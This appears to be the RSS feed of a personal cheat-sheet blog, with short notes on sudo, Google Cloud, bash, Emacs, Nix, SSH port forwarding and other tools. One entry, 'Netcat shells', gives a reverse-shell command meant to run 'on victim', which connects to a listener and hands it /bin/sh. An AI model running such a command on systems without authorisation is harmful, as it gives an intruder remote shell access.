Cheats on Jbloghttps://jblog.codevillains.com/cheat/Recent content in Cheats on JblogHugo -- gohugo.ioCopyright © 2022-2025 Jblog. All Rights Reserved.Sun, 14 Dec 2025 00:00:00 +0100Nextcloudhttps://jblog.codevillains.com/cheat/nextcloud/Sun, 14 Dec 2025 00:00:00 +0100https://jblog.codevillains.com/cheat/nextcloud/Spreadsheethttps://jblog.codevillains.com/cheat/spreadsheet/Wed, 19 Mar 2025 00:00:00 +0100https://jblog.codevillains.com/cheat/spreadsheet/Latexhttps://jblog.codevillains.com/cheat/latex/Sun, 23 Jan 2022 00:00:00 +0100https://jblog.codevillains.com/cheat/latex/Sudohttps://jblog.codevillains.com/cheat/sudo/Sat, 11 Dec 2021 00:00:00 +0100https://jblog.codevillains.com/cheat/sudo/Remember sudo globally

source

Just add following line in sudo visudo

Defaults timestamp_type=global
]]>Google Cloudhttps://jblog.codevillains.com/cheat/gcp/Sun, 08 Aug 2021 00:00:00 +0200https://jblog.codevillains.com/cheat/gcp/Create service account https://support.google.com/cloud/answer/6158849#serviceaccounts Build image https://cloud.google.com/solutions/using-jenkins-for-distributed-builds-on-compute-engine Load kubectl credentials gcloud container clusters get-credentials c-test-1 --zone europe-west2 --project <projectId>Netcathttps://jblog.codevillains.com/cheat/nc/Thu, 06 May 2021 00:00:00 +0200https://jblog.codevillains.com/cheat/nc/Netcat shells

Easiest way to make shell using netcat is to use -e option:

# server - on victim
nc 192.168.56.1 4444 -e /bin/sh

# Client
nc -nvlp 4444
]]>Shellshttps://jblog.codevillains.com/cheat/shells/Sat, 10 Apr 2021 00:00:00 +0200https://jblog.codevillains.com/cheat/shells/Bash gnu

Replacements

#!/bin/bash
input="I love Suzi and Marry"
replacement="Sara"
echo "${input/Suzi/$replacement}"
# 'I love Sara and Marry'

# To replace all occurrences, use ${parameter//pattern/string}:
]]>Emacs - Mischttps://jblog.codevillains.com/cheat/emacs-misc/Fri, 26 Feb 2021 00:00:00 +0100https://jblog.codevillains.com/cheat/emacs-misc/Unhang Emacs

In most cases it is enough to run pkill -SIGUSR2 emacs it enables debug-on-quit which is annoying - we need to run toggle-debug-on-quit after.

]]>Magithttps://jblog.codevillains.com/cheat/magit/Fri, 26 Feb 2021 00:00:00 +0100https://jblog.codevillains.com/cheat/magit/Git log specific files

In ranger/deer/dired select files you’re interested in and do magit-dired-log. For quick select all do t in dired-mode (C-p from deer).

]]>Org-mode - Mischttps://jblog.codevillains.com/cheat/org-misc/Fri, 26 Feb 2021 00:00:00 +0100https://jblog.codevillains.com/cheat/org-misc/Org-mode - Tableshttps://jblog.codevillains.com/cheat/org-tables/Fri, 26 Feb 2021 00:00:00 +0100https://jblog.codevillains.com/cheat/org-tables/<p>This cheatsheet concerns org mode tables and fantastic things they can be used for.</p>Nixhttps://jblog.codevillains.com/cheat/nix/Sat, 20 Feb 2021 00:00:00 +0100https://jblog.codevillains.com/cheat/nix/Functional package manager. Supports easy rollbacks. Language for interacting with nix package manager. NixOS - OS based on nix. Can facilitate deployments on remote machines with nixops. Here are some scattered notes about the topic.

]]>Org-mode - Graphshttps://jblog.codevillains.com/cheat/org-mode-graphqs/Wed, 03 Feb 2021 00:00:00 +0100https://jblog.codevillains.com/cheat/org-mode-graphqs/<p>How to make graphs and other charts in org-mode? We&rsquo;ll see some examples.</p>Xorghttps://jblog.codevillains.com/cheat/xorg/Thu, 07 Jan 2021 00:00:00 +0100https://jblog.codevillains.com/cheat/xorg/Get class of window xprop WM_CLASSAwesome toolshttps://jblog.codevillains.com/cheat/awesome/Mon, 21 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/awesome/My own awesome/checkout list 😁

File sharing

Firefox send alternatives

]]>Commandline Emailhttps://jblog.codevillains.com/cheat/commandline-email/Mon, 21 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/commandline-email/Docker / Podmanhttps://jblog.codevillains.com/cheat/docker-podman/Mon, 21 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/docker-podman/Some docker / podman tricks that are easy to forget.

]]>Imagehttps://jblog.codevillains.com/cheat/image/Mon, 21 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/image/<p>Bar-codes, imagemagick, EXIF data.</p>Githttps://jblog.codevillains.com/cheat/git/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/git/<p>Notes about easy-to-forget git features 😉.</p>GNU Utilshttps://jblog.codevillains.com/cheat/gnu-utils/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/gnu-utils/Cheatsheet for miscellaneous GNU utils. makefile, paralell, date. For bash look for shells, for awk here.

]]>Linux - Mischttps://jblog.codevillains.com/cheat/linux-misc/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/linux-misc/<p>Some miscellaneous linux hints - crontab, ISO handlin, shared libaries debugging.</p>Linux Desktophttps://jblog.codevillains.com/cheat/linux-desktop/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/linux-desktop/<p>Cheatshets concering desktop usage of linux. X11, network manager etc.</p>Nginxhttps://jblog.codevillains.com/cheat/nginx/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/nginx/<p>Nginx and ssl setup.</p>Sshhttps://jblog.codevillains.com/cheat/ssh/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/ssh/Port forwarding 
# Remote to local
ssh -L local_port:remote_address:remote_port username@server.com
# Local to remote
ssh -R remote_port:local_address:local_port username@server.com
]]>Structured Text Processinghttps://jblog.codevillains.com/cheat/structured-text-processing/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/structured-text-processing/jq, xmlstarlet and friends.

]]>Tmuxhttps://jblog.codevillains.com/cheat/tmux/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/tmux/<p>Tmux - <!-- raw HTML omitted -->the<!-- raw HTML omitted --> terminal multiplexer.</p>Unstructured Text Processinghttps://jblog.codevillains.com/cheat/text-processing/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/text-processing/Tricks concerning awk, sed, csplit and other tool that work with unstructured text.

]]>Videohttps://jblog.codevillains.com/cheat/video/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/video/<p>Cheatsheet related to video /camera etc. Mainly on Linux.</p>Vimhttps://jblog.codevillains.com/cheat/vim/Sun, 20 Dec 2020 00:00:00 +0100https://jblog.codevillains.com/cheat/vim/<p>Some easy-to-forget vim tricks.</p>